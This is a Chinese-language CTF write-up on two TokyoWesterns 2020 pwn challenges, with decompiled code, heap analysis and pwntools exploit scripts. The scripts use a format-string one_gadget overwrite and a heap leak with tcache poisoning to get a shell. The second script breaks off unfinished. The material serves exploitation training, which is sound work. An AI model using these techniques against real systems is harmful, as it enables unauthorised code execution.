【WriteUp】TokyoWesterns CTF 6th 2020 -- Pwn 题解

nothing more to say 2020

源码如下:

// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}
void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}
int main(void) {
    char buf[0x100];
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}

保护如下

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

啥保护都没开,基本就是随便打了,写 shellcode 都没问题

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
    p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)
    one = [0x4f365, 0x4f3c2, 0x10a45c]
elf = ELF('./chall', checksec=False)
p.sendafter('> ', '%39$p')
p.recvuntil('0x')
addr_libcsm = int(p.recv(12), 16) - 231
# libc6_2.27-3ubuntu1_amd64.so
libc = easyLibc('__libc_start_main', addr_libcsm, 2)
libcbase = addr_libcsm - libc.dump('__libc_start_main')
addr_one = libcbase + one[0]
p.sendafter('> ', '%41$p')
p.recvuntil('0x')
addr_stack = int(p.recv(12), 16) - 0xe0
addr_stack &= 0xffff
pd = '%' + str(addr_stack) + 'c%41$hn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_stack + 1) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 8 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_stack + 2) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 16 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
p.sendafter('> ', 'quit')
success('addr_stack = ' + hex(addr_stack))
success('libcbase   = ' + hex(libcbase))
p.interactive()

FLAG

TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}

Online Nonogram

查看保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数

undefined8 main(void)
{
  char cVar1;
  undefined4 uVar2;
  basic_ostream *this;
 
  cVar1 = init_proc();
  if (cVar1 == '\0') {
    this = operator<<<std--char_traits<char>>(cout,"initialize error");
    operator<<(this,endl<char,std--char_traits<char>>);
    return 1;
  }
  print_banner();
  do {
    print_menu();
    operator<<<std--char_traits<char>>(cout,"Your input: ");
    uVar2 = read_int();
    switch(uVar2) {
    default:
      this = operator<<<std--char_traits<char>>(cout,"invalid choice");
      operator<<(this, endl<char,std--char_traits<char>>);
      break;
    case 1:
      play_puzzle();
      break;
    case 2:
      add_puzzle();
      break;
    case 3:
      delete_puzzle();
      break;
    case 4:
      show_puzzle();
      break;
    case 5:
      return 0;
    }
  } while( true );
}

init_proc 函数

undefined8 init_proc(void)
{
    Puzzle* this;
    long in_FS_OFFSET;
    allocator<char> local_51;
    Puzzle* local_50;
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
    long local_20;
    local_20 = *(in_FS_OFFSET + 0x28);
    setbuf(stdout, 0x0);
    setbuf(stdin, 0x0);
    setbuf(stderr, 0x0);
    allocator();
    basic_string(local_48, "Cross");
    local_50 = (Puzzle*)operator.new(0x38);
    Puzzle(local_50, 0xb8, 3, "U\x01");
    ~basic_string(local_48);
    ~allocator(&local_51);
    push_back(vec_puzzle, &local_50);
    allocator();
    basic_string(local_48, "Heart");
    this = (Puzzle*)operator.new(0x38);
    Puzzle(this, 0xb8, 5, &DAT_0010610b);
    local_50 = this;
    ~basic_string(local_48);
    ~allocator(&local_51);
    push_back(vec_puzzle, &local_50);
    if(local_20 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return 1;
}

print_menu 函数

void print_menu(void)
{
    basic_ostream* this;
    this = operator<<<std--char_traits<char>>(cout, "1. Play");
    operator<<(this, endl<char, std--char_traits<char>>);
    this = operator<<<std--char_traits<char>>(cout, "2. Add");
    operator<<(this, endl<char, std--char_traits<char>>);
    this = operator<<<std--char_traits<char>>(cout, "3. Delete");
    operator<<(this, endl<char, std--char_traits<char>>);
    this = operator<<<std--char_traits<char>>(cout, "4. Show");
    operator<<(this, endl<char, std--char_traits<char>>);
    this = operator<<<std--char_traits<char>>(cout, "5. Exit");
    operator<<(this, endl<char, std--char_traits<char>>);
    return;
}

read_int 函数

ulong read_int(void)
{
    char cVar1;
    ulong uVar2;
    long in_FS_OFFSET;
    uint local_14;
    long local_10;
    local_10 = *(in_FS_OFFSET + 0x28);
    operator>>(cin, &local_14);
    cVar1 = fail();
    if(cVar1 == '\0'){
        uVar2 = local_14;
    }
    else{
        clear(0x1091d0);
        ignore();
        uVar2 = 0;
    }
    if(local_10 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return uVar2;
}

play_puzzle 函数

void play_puzzle(void)
{
    int iVar1;
    Puzzle** ppPVar2;
    iVar1 = choice_puzzle();
    if(iVar1 != -1){
        ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
        play(*ppPVar2);
    }
    return;
}

choice_puzzle 函数

ulong choice_puzzle(void)
{
    bool bVar1;
    uint uVar2;
    basic_ostream* this;
    ulong uVar3;
    list_puzzle();
    this = operator<<<std--char_traits<char>>(cout, "Index:");
    operator<<(this, endl<char, std--char_traits<char>>);
    uVar2 = read_int();
    if(-1 < uVar2){
        uVar3 = size(vec_puzzle);
        if(uVar2 < uVar3){
            bVar1 = false;
            goto LAB_00102c15;
        }
    }
    bVar1 = true;
LAB_00102c15:
    if(bVar1){
        this = operator<<<std--char_traits<char>>(cout, "invalid choice");
        operator<<(this, endl<char, std--char_traits<char>>);
        uVar3 = 0xffffffff;
    }
    else{
        uVar3 = uVar2;
    }
    return uVar3;
}

list_puzzle 函数

void list_puzzle(void)
{
    bool bVar1;
    basic_ostream* this;
    long in_FS_OFFSET;
    int local_6c;
    undefined8 local_68;
    undefined8 local_60;
    undefined1* local_58;
    undefined8 local_50;
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
    long local_20;
    local_20 = *(in_FS_OFFSET + 0x28);
    local_6c = 0;
    local_58 = vec_puzzle;
    local_68 = begin(vec_puzzle);
    local_60 = end(local_58);
    while(true){
        bVar1 = operator!=<Puzzle**, std--vector<Puzzle*, std--allocator<Puzzle*>>>(&local_68, &local_60);
        if(bVar1 == false) break;
        local_50 = operator*(&local_68);
        this = operator<<(cout, local_6c);
        this = operator<<<std--char_traits<char>>(this, " : ");
        printInfo[abi:cxx11]();
        this = operator<<<char, std--char_traits<char>, std--allocator<char>>(this, local_48);
        operator<<(this, endl<char, std--char_traits<char>>);
        ~basic_string(local_48);
        local_6c = local_6c + 1;
        operator++(&local_68);
    }
    if(local_20 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return;
}

add_puzzle 函数

void add_puzzle(void)
{
    long lVar1;
    char cVar1;
    uint uVar2;
    basic_ostream* this;
    basic_ostream* this_00;
    ssize_t sVar3;
    long in_FS_OFFSET;
    Puzzle* local_70;
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_68[32];
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
    long local_20;
    lVar1 = *(in_FS_OFFSET + 0x28);
    basic_string();
    operator<<<std--char_traits<char>>(cout, "Title: ");
    operator>><char, std--char_traits<char>, std--allocator<char>>(cin, local_68);
    cVar1 = fail();
    if(cVar1 == '\0'){
        operator<<<std--char_traits<char>>(cout, "Size: ");
        uVar2 = read_int();
        if(uVar2 == 0){
            this_00 = operator<<<std--char_traits<char>>(cout, "input error");
            operator<<(this_00, endl<char, std--char_traits<char>>);
        }
        else{
            operator<<<std--char_traits<char>>(cout, "Puzzle: ");
            sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));
            if(sVar3 < 1){
                this_00 = operator<<<std--char_traits<char>>(cout, "input error");
                operator<<(this_00,
                    endl<char, std--char_traits<char>>);
            }
            else{
                basic_string(local_48);
                local_70 = (Puzzle*)operator.new(0x38);
                Puzzle(local_70, 0xb8, uVar2, gbuf);
                ~basic_string(local_48);
                push_back(vec_puzzle, &local_70);
                this_00 = operator<<<std--char_traits<char>>(cout, "Success");
                operator<<(this_00, endl<char, std--char_traits<char>>);
            }
        }
    }
    else{
        clear(0x1091d0);
        ignore();
        this = operator<<<std--char_traits<char>>(cout, "input error");
        operator<<(this, endl<char, std--char_traits<char>>);
    }
    ~basic_string(local_68);
    if(lVar1 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return;
}

有 push_back 函数,和下面的 erase 函数在一起可以导致 UAF

delete_puzzle 函数

void delete_puzzle(void)
{
    Puzzle* this;
    int iVar1;
    Puzzle** ppPVar2;
    basic_ostream* this_00;
    long in_FS_OFFSET;
    undefined8 local_40;
    undefined8 local_38;
    __normal_iterator<Puzzle* const*, std--vector<Puzzle*, std--allocator<Puzzle*>>> local_30[8];
    Puzzle* local_28;
    long local_20;
    local_20 = *(in_FS_OFFSET + 0x28);
    iVar1 = choice_puzzle();
    if(iVar1 != -1){
        ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
        this = *ppPVar2;
        local_28 = this;
        if(this != (Puzzle*)0x0){
            ~Puzzle(this);
            operator.delete(this);
        }
        local_40 = begin(vec_puzzle);
        local_38 = operator+(&local_40, iVar1);
        __normal_iterator<Puzzle**>(local_30, &local_38);
        erase(vec_puzzle, local_30[0]);
        this_00 = operator<<<std--char_traits<char>>(cout, "Success");
        operator<<(this_00, endl<char, std--char_traits<char>>);
    }
    if(local_20 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return;
}

该句有 erase,可能会导致 UAF

erase(vec_puzzle, local_30[0]);

show_puzzle 函数

void show_puzzle(void)
{
    int iVar1;
    Puzzle** ppPVar2;
    iVar1 = choice_puzzle();
    if(iVar1 != -1){
        ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
        show(*ppPVar2);
    }
    return;
}

Puzzle::Puzzle 函数

void __thiscall Puzzle(Puzzle* this, basic_string param_1, uint param_2, uchar* param_3)
{
    void* pvVar1;
    basic_ostream* this_00;
    *this = param_2;
    basic_string((this + 0x10));
    this[0x30] = (Puzzle)0x0;
    pvVar1 = operator.new[]((((*this** this) >> 3) + 1));
    *(this + 8) = pvVar1;
    if(*(this + 8) == 0){
        this_00 = operator<<<std--char_traits<char>>(cout, "alloc error");
        operator<<(this_00, endl<char, std--char_traits<char>>);
        exit(1);
    }
    memcpy(*(this + 8), param_3, (((*this * *this) >> 3) + 1));
    return;
}

画个图的话,该类在堆中的结构应该如下所示,对应的变量为Puzzle* this

      |   0x4   |   0x4   |   0x4   |   0x4   |
-----------------------------------------------
 0x10 |       size        |      puzzle       |
 0x20 |       title       |   title_buf_size  |
 0x30 |     title_buf     |         ?         |
 0x40 |         ?         |         ?         |
-----------------------------------------------

其中 title == &title_buf
title_buf == 写入的字符串,它及之后存着 add 时输入的 puzzle 游戏的标题

puzzle 是之前输入的大小转换后的堆块地址,里面存着 add 时输入的 puzzle 游戏的内容

Puzzle::printInfo[abi:cxx11] 函数

basic_string** printInfo[abi:cxx11](void)
{
    allocator* paVar1;
    long in_RSI;
    basic_string** in_RDI;
    long in_FS_OFFSET;
    allocator<char> local_89;
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_88[32];
    basic_string<char, std--char_traits<char>, std--allocator<char>> local_68[32];
    basic_string* local_48[5];
    long local_20;
    local_20 = *(in_FS_OFFSET + 0x28);
    allocator();
    if(*(in_RSI + 0x30) == '\0'){
        paVar1 = &DAT_00106017;
    }
    else{
        paVar1 = &DAT_00106015;
    }
    basic_string(local_88, paVar1);
    ~allocator(&local_89);
    operator+<char, std--char_traits<char>, std--allocator<char>>(local_68, (in_RSI + 0x10));
    operator+<char, std--char_traits<char>, std--allocator<char>>(local_48, local_68);
    operator+<char, std--char_traits<char>, std--allocator<char>>(in_RDI, local_48);
    ~basic_string(local_48);
    ~basic_string(local_68);
    ~basic_string(local_88);
    if(local_20 != *(in_FS_OFFSET + 0x28)){
        __stack_chk_fail();
    }
    return in_RDI;
}

Puzzle::play 函数

重点,代码已优化

/* Puzzle::play() */
void __thiscall play(Puzzle* this)
{
    bool sig1;
    bool bVar1;
    int iVar2;
    long in_FS_OFFSET;
    uint local_44;
    uint local_40;
    uint i;
    int k;
    uint j;
    uint local_1c;
    void* tltle_buf;
    long local_10;
    local_10 = *(in_FS_OFFSET + 0x28);
    cout << "Enjoy!!!!!!!!!!!!!!!!!!!!!!!" << endl;
    tltle_buf = operator.new[]((((*this** this) >> 3) + 1));
    memset(tltle_buf, 0, (((*this * *this) >> 3) + 1));
    cout << "Row\'s Numbers" << endl;
    i = 0;
    while(i < *this){
        bVar1 = true;
        sig1 = false;
        k = 0;
        j = 0;
        while(j < *this){
            if((*((i + *this * j >> 3) +
                *(this + 8)) >>
                (i + *this * j & 7) & 1) == 0){
                if(sig1){
                    cout << k << ",";
                }
                sig1 = false;
                k = 0;
            }
            else{
                k = k + 1;
                sig1 = true;
                bVar1 = false;
            }
            j = j + 1;
        }
        if(bVar1){
            cout << "0" << endl;
        }
        else{
            if(k == 0){
                putchar(10);
            }
            else{
                cout << k << endl;
            }
        }
        i = i + 1;
    }
    cout << "Column\'s Numbers" << endl;
    i = 0;
    while(i < *this){
        sig1 = false;
        k = 0;
        bVar1 = true;
        j = 0;
        while(j < *this){
            if((*((j + *this * i >> 3) + *(this + 8)) >> (j + *this * i & 7) & 1) == 0){
                if(sig1){
                    cout << k << ",";
                }
                sig1 = false;
                k = 0;
            }
            else{
                k = k + 1;
                sig1 = true;
                bVar1 = false;
            }
            j = j + 1;
        }
        if(bVar1){
            cout << "0" << endl;
        }
        else{
            if(k == 0){
                putchar(10);
            }
            else{
                cout << k << endl;
            }
        }
        i = i + 1;
    }
    do{
        cout << "Current Status" << endl;
        i = 0;
        while(i < *this){
            j = 0;
            while(j < *this){
                if((*(tltle_buf + (i + *this * j >> 3)) >> (i + *this * j & 7) & 1) == 0){
                    putchar(0x20);
                }
                else{
                    putchar(0x78);
                }
                j = j + 1;
            }
            putchar(10);
            i = i + 1;
        }
        cout << ": ";
        iVar2 = scanf("%u %u", &local_44, &local_40);
        if(iVar2 != 2){
            cout << "input error" << endl;
            if(tltle_buf != 0x0){
                operator.delete(tltle_buf);
            }
            goto LAB_00103bb6;
        }
        cout << "x: " << local_44 << endl;
        cout << "y: " << local_40 << endl;
        if((*this <= local_44) || (*this <= local_40)){
            cout << "input error" << endl;
            if(tltle_buf != 0x0){
                operator.delete(tltle_buf);
            }
            goto LAB_00103bb6;
        }
        local_1c = local_44 + *this * local_40;
        if((*(*(this + 8) + (local_1c >> 3)) >> (local_1c & 7) & 1) == 0){
            cout << "Wrong! Try harder!" << endl;
            exit(0);
        }
        cout << "Correct!" << endl;
        *((local_1c >> 3) + tltle_buf) = *(tltle_buf + (local_1c >> 3)) | (1 << (local_1c & 7));
        iVar2 = memcmp(*(this + 8), tltle_buf, (((*this * *this) >> 3) + 1));
    } while(iVar2 != 0);
    cout << "Congratz!" << endl;
    this[0x30] = (Puzzle)0x1;
    if(tltle_buf != 0x0){
        operator.delete(tltle_buf);
    }
LAB_00103bb6:
    if(local_10 == *(in_FS_OFFSET + 0x28)){
        return;
    }
    __stack_chk_fail();
}

Puzzle::show 函数

void __thiscall show(Puzzle* this)
{
    byte bVar1;
    uint uVar2;
    basic_ostream* this_00;
    uint local_c;
    if(this[0x30] == (Puzzle)0x0){
        this_00 = operator<<<std--char_traits<char>>(cout, "Please clear the Nonogram first");
        operator<<(this_00, endl<char, std--char_traits<char>>);
    }
    else{
        this_00 = operator<<<std--char_traits<char>>(cout, "-------------------------------------");
        operator<<(this_00, endl<char, std--char_traits<char>>);
        local_c = 0;
        while(local_c < (*this * *this)){
            uVar2 = local_c;
            if(local_c < 0){
                uVar2 = local_c + 7;
            }
            bVar1 = (local_c >> 0x37);
            if((*((uVar2 >> 3) + *(this + 8)) >> ((local_c + (bVar1 >> 5) & 7) - (bVar1 >> 5) & 0x1f) & 1) == 0){
                putchar(0x20);
            }
            else{
                putchar(0x78);
            }
            if(local_c % *this == *this - 1){
                putchar(10);
            }
            local_c = local_c + 1;
        }
        this_00 = operator<<<std--char_traits<char>>(cout, "-------------------------------------");
        operator<<(this_00, endl<char, std--char_traits<char>>);
    }
    return;
}

Puzzle::~Puzzle 函数

void __thiscall ~Puzzle(Puzzle *this)
{
  memset(*(this + 8),0,(((*this * *this) >> 3) + 1));
  if (*(this + 8) != 0x0) {
    operator.delete(*(this + 8));
  }
  ~basic_string((this + 0x10));
  return;
}

解题思路

泄露 heap 地址

再下面的代码研究卡壳的情况下我去了解了一下这个游戏

图片

每一行,每一列,都要符合规定的数值排列

就好比 1 3 这行,涂黑的块就不能是连着 4 个的; 或者是前三块儿是黑色的,最后一块儿是黑色的这两种情况出现


在 add_puzzle 函数中,最后输入的代码大小是你输入的大小的平方右移 3 位后加 1

sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));

而且这里输入的数据不能够过大,在 add_puzzle 函数中有如下代码

Puzzle(local_70, 0xb8, uVar2, gbuf);

在 Puzzle::Puzzle 函数中则有如下代码

memcpy(*(uVar2 + 8), gbuf, (((*uVar2 * *uVar2) >> 3) + 1));

uVar2 是一个堆地址,且

uVar2 = read_int();

即在 read_int 函数中,输入数据的地址,如果输入的数据过大,则会造成堆溢出
而且在 memcpy 内部就会崩掉


那么我们知道了如果我们想要分配一个大小为 n 的堆块,我们需要输入的数据的大小就应该是

int(math.sqrt((n - 1) << 3) + 1)

这里加一减一后都有可能是原来输入的数值,但是这里写的是加 1
暂且还不知道为啥这么写,不过跟泄露有关,改成减一就不能泄露地址


接下来看 Puzzle::play 函数,建议 IDA 和 Ghidra 一起看,只看一个

该函数的参数 Puzzle* this 就是之前输入大小(Size)的堆地址

if((*((i + *this * j >> 3) + *(this + 8)) >> (i + *this * j & 7) & 1) == 0)

该代码的简化写法就是a >> (b & 7) & 1,这里对简化变量分别进行解释
用 tmp 来称呼该式子:i + *this * j;它的作用是遍历最大边界为 *this 的正方形矩阵

a 指的是 *((i + *this * j >> 3) + *(this + 8)),这里 (i + *this * j >> 3) 指的是在前面这堆数除以 8 后,得到的结果

假如你得到的 tmp 是 0x1a,那么经过 a 计算就会得到 3 + *(this + 8)

假如你得到的 tmp 是 0x20,那么经过 a 计算就会得到 4 + *(this + 8)

其实就是求相对于 puzzle 地址的 8 地址对齐偏移,再加上 puzzle 的地址从而得到其中的数据

b 指的是 (i + *this * j & 7),意思就是取前面这堆数的后 3 位

假如你得到的tmp是 0x1a,那么经过 b 计算就会得到 2

假如你得到的 tmp 是 0x20,那么经过 b 计算就会得到 0

a 运算求出了数据以 8 位为对齐时的地址偏移,就好比除法中的商

b 运算则是求出其最后一个 8 位对齐地址上的剩余数据,相当于除法中的余数

那么a >> (b & 7) & 1的意思就是以每 8 位为一行的情况下的每一个元素的数据

经测试,当我运行该函数时,打印的 Row 行字符如下

函数:add('bb', 0x40, p64(0b00000100))

显示:图片

证明推论是对的


但是上面的例子是在 puzzle 堆中没有残余数据时的情况,在构造时需要考虑一个很关键的点

就是它的遍历是以列来进行的,也就是说,假如有 0b00001111 的数据,他并不会输出 15

而是会输出 4 个 1,但是假如在堆中有残留数据的话

  • 假如不相邻,却能匹配到两个 1,那么就输出 1, 1
  • 假如相邻,却能匹配到两个 1,那么就输出 2

经调试,tmp 的值每次的变化是有规律的,数值的大小由 size 的大小来决定

当 size 为 0x59 时,变化如下所示

0x0
... 7 个 0xb ...
0xc
... 7 个 0xb ...
0xc
... 0x3d3(或者 0x3d4) ...
循环...

开头一定是 0,之后会呈现 7 同值个带 1 个比它们大 1 的数的数值变化
先贴一下用于测试的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
this = 0x59
c = 0
for i in range(0, 0x59):
    for j in range(0, 0x59):
        tmp = (i + this * j >> 3)
        print hex(abs(tmp - c))
        c = tmp

那么这种跨度就可以完美的绕过两个 0x08 的地址,在堆中找残余数据的时候,就要注意不能再相邻的 0x10(其实是 0x11 和 0x12,这里取个整看着方便) 的地址范围内,都出现不为零的值
因为都出现的话,会导致输出的数变为比 1 大的数,会使后续的工作变得麻烦

所以进行泄露时要找一个范围:被遍历的地址的 0x10 的相邻范围内没有别的地址

那么在出现类似 [1, 0] 的值作为地址泄露的数据时,就必须要参考地址内的冗余数据相对于你要泄露的地址究竟是在前面还是后面

要泄露的地址在后面,那么就应该取下标 1 的元素;否则就应该取下标 0 的元素

所以这里脚本应该写为

for i in range(64):
    b += str(hr[i][-1])

再看内存中的数据如下所示,数据的起始地址是 0x557e8601dff0
能访问数据的总偏移是 (0x58 + 0x59 * 0x58) == 0x1ef0

也就是说我能访问的最大地址为 0x557e8601fee0,不过中途有 0x3d3 的偏移

这里也是一个可访问点

0x557e8601dfe0:   0x0000000000000000   0x0000000000000421
0x557e8601dff0:   0x0000000000000000   0x0000000000000000
......
0x557e8601e3f0:   0x0000557e8601df90   0x000000008601dfa0
0x557e8601e400:   0x0000000000000000   0x0000000000000031
0x557e8601e410:   0x0000557e8601deb0   0x0000557e8601df30
0x557e8601e420:   0x0000557e8601dfb0   0x0000000000000000
0x557e8601e430:   0x0000000000000000   0x0000000000000421

看 puzzle 的初始地址到 0x557e8601e3f0 一共是 0x400 个字节
那么我们按如下进行构造就能清空之前的数据,使泄露变得更加方便

add('bb', 0x408, p64(0) * 0x80)

如果这里你把 0x80 写成了 0x81,就会如下的错误

terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc

这段错误来自于如下函数

0x2e64 <add_puzzle()+460>    call   0x4046
0x40bd    call   0x43a0
// 下面函数的 RDX 为 0x696c ← 'vector::_M_realloc_insert'
0x43db    call   0x48ac
0x4430    call   0x49e0
0x4a09    call   0x4c33
0x4c5a    call   0x4e50
0x4e8f    call   0x23c0
 ► 0x7f561cf43c24    call   malloc@plt <0x7f561cf33f40>
        size: 0xac282283bf40

如果把 0x80 改成 0x81 那么在 0x48ea 函数运行过后就会返回错误的值
在之前也能看见错误,即全局变量 vec_puzzle 被修改为了我们最后一个 p64 的值

那么追根溯源,可以找到以下源码

push_back(vec_puzzle, &local_70);

发现错误出在这里,也就是 push_back 函数中的 new 操作出现了问题
不过 vec_puzzle 并不是因为 push_back 而改变的,而是因为 Puzzle::Puzzle 函数

可以找到源码如下

memcpy(*(this + 8),param_3,(((*this * *this) >> 3) + 1));

用 GDB 调试可以发现函数调用如下

 ► 0x56078fbae2b0    call   memcpy@plt <0x56078fbad370>
        dest: 0x560791839ff0 ◂— 0x0
        src: 0x56078fbb42e0 (gbuf) ◂— 0x0
        n: 0x40c

但是看全局变量又能找到布局如下

0x56078fbb42e0 <gbuf>:          0x0000000000000000
0x56078fbb46e0 <vec_puzzle>:    0x0000560791839f90

再接上

pwndbg> x/1gx 0x55dabe95cff0+0x400
0x5607918403f0:    0x000055dabe95cf90

所以能够发现,我们要是改了 0x81 的位置,这块就会因为 memcpy 而导致后续的内存泄露
只能说 0x59 是一个合适的大小,但是具体找我觉得我是很没耐心的

可能大家是拿 AFL 或者脚本计算的吧,这个的爆破既要考虑范围大小要大于等于 0x08 字节

即让式子i + this j >> 3的值大于等于 0x08,也就是要让 *this 的值大于等于 0x40

也就是说输入的值要大于等于 0x200,但是 0x200 在快要到 0x200 的时候会 add 大数

类似于前面的 0x3d8,也就跳过了能泄露的堆地址,那么我将就试了试

0x220 -- 0x208
0x230 -- 0x218
...

也就是说 i + *this * j >> 3的值如果不能在后续的递进中补足这 0x18 的数据,那么就不可能泄露堆地址
最终测得最低限度的泄露地址所需的 size 大小是 0x3f8(纯手测)

泄露 libc

这块需要攻击vec_puzzle全局变量,即存放堆块地址的链表,vec_puzzle 地址内容如下

<vec_puzzle>:     0x0000561e5d7d7a80  0x0000561e5d7d7aa8
<vec_puzzle+16>:  0x0000561e5d7d7ac0  0x0000000000000000

vec_puzzle 存着 vector 存储 Puzzle 类所用的堆块地址,堆块地址如下

0x561e5d7d7a80:  0x0000561e5d7d6eb0  0x0000561e5d7d6f30
0x561e5d7d7a90:  0x0000561e5d7d6fb0  0x0000561e5d7d75b0
0x561e5d7d7aa0:  0x0000561e5d7d7440  0x0000000000000000
0x561e5d7d7ab0:  0x0000000000000000  0x0000000000000000
0x561e5d7d7ac0:  0x0000000000000000  0x0000000000000631

vec_puzzle + 08 也就是 vector 容器内的 _M_finish 指针
vec_puzzle + 16 存着 vector 容器内的 _M_end_of_storage 指针

我们看 add_puzzle 函数

if(uVar2 == 0){
    ......
}
else{
    std::cout << "Puzzle: ";
    sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));
    if(sVar3 < 1){
        std::cout << "input error" << endl;
    }
    else{
        basic_string(local_48);
        local_70 = (Puzzle*)operator.new(0x38);
        Puzzle(local_70, 0xb8, uVar2, gbuf);
        ~basic_string(local_48);
        push_back(vec_puzzle, &local_70);
        std::cout << "Success" << endl;
    }
}

这里可以写很大的数据到 gbuf 里,我们在调试的时候可以知道 gbuf 的大小是 0x400 字节
在 gbuf 全局变量的下面就是 vec_puzzle 全局变量

但是我们可以写超过 0x400 字节大小的数据到 gbuf 里,这就导致了全局变量的溢出

因此我们可以改写记录 Puzzle 类的堆空间,使其变成我们伪造的堆块

这样我们可以先申请一个大堆块,使其达到 largebin 的大小,并释放掉它

然后再伪造一个堆块,使它 title 记录的地址为上面 largebin 泄露出的 main_arena 的地址

那么就可以依靠打印游戏名来泄露出程序的 libc 了

攻击 tcache bin 链表

因为我们可以依靠 vec_puzzle 全局变量来伪造一个类的堆空间地址

然后依次释放 puzzle、title、Puzzle 类的堆块,因为在程序运行过程中要申请很多 0x38

我后面构造的时候又会覆盖 0x40 大小堆块的内容,所以这里我们多申请几个 0x40 大小的堆块

之后再把它们一个个释放掉,增加 0x40 大小堆块的可用数目

我依靠 0x50 大小的堆块来完成覆盖,最后测得只能靠 __free_hook 在退出程序时提权

程序退出时,会 free 掉 vec_puzzle 全局变量里的堆块,那么我们最后再利用溢出,修改

vec_puzzle 里第一个堆块的地址为 libc 中 /bin/sh 的地址即可获得权限

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import math
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('pwn03.chal.ctf.westerns.tokyo', 22915)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)

def play(play_idx):
    p.sendlineafter('Your input: ', '1')
    p.sendlineafter('Index:\n', str(play_idx))

def add(add_title, add_size, add_text):
    p.sendlineafter('Your input: ', '2')
    p.sendlineafter('Title: ', add_title)
    p.sendlineafter('Size: ', str(add_size))
    p.sendafter('Puzzle: ', add_text)

def csize(size):
    return int(math.sqrt((size - 1) << 3) + 1)

def delete(delete_idx):
    p.sendlineafter('Your input: ', '3')
    p.sendlineafter('Index:\n', str(delete_idx))
# gdb.attach(p, 'brva 0x359a\nc')
add('bb', csize(0x408), p64(0) * 0x80)
play(2)
p.recvuntil('Numbers\n')
hr = []
while True:
    d = str(p.recvuntil('\n')[:-1])
    if d[-1] == ',':
        d = d[:-1]
    if 'Col' in d:
        break
    d = list(map(int, d.split(",")))
    hr.append(d)
    info(hr)
b = ""
for i in range(64):
    b += str(hr[i][-1])
heapbase = int(hex(int(b[::-1],2) << 2)[:-1],0) - 0x11f90
p.sendlineafter(': ', 'A')
add('aa', 0x60, 'ww')  # 3 for free
# 1 fake (Puzzle)vector
pd = p64(0) + p64(0x51)
pd += p64(heapbase + 0x129b0) + p64(heapbase + 0x12440)
# 2 to free fake (Puzzle)tcache bin
pd += p64(heapbase + 0x12f40) + p64(heapbase + 0x12f80)
pd += p64(heapbase + 0x12f80)
pd = pd.ljust(0x50, '\x00')
# 1 fake puzzle vecotr[0]
pd += p64(0) + p64(0x431)
pd += p64(3) + p64(heapbase + 0x11ef0)
pd += p64(heapbase + 0x12480) + p64(8)
add('aa', 0x60, pd)  # 4
delete(3)
# -*- 2 fake tcache chunk -*-
# 2 fake puzzle vecotr[2]
pd = 'r' * 0x100
pd += p64(0) + p64(0x521)
pd += p64(3) + p64(heapbase + 0x13010)
pd += p64(heapbase + 0x12440) + p64(5)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[3]
pd += p64(0) + p64(0x51)
pd += p64(3) + p64(heapbase + 0x12fd0)
pd += p64(heapbase + 0x11fb0) + p64(5)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[4]
pd += p64(0) + p64(0x41)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[5]
pd += p64(0) + p64(0x41)
pd = pd.ljust(0x400, '\x00')
# 1 fake vec_puzzle
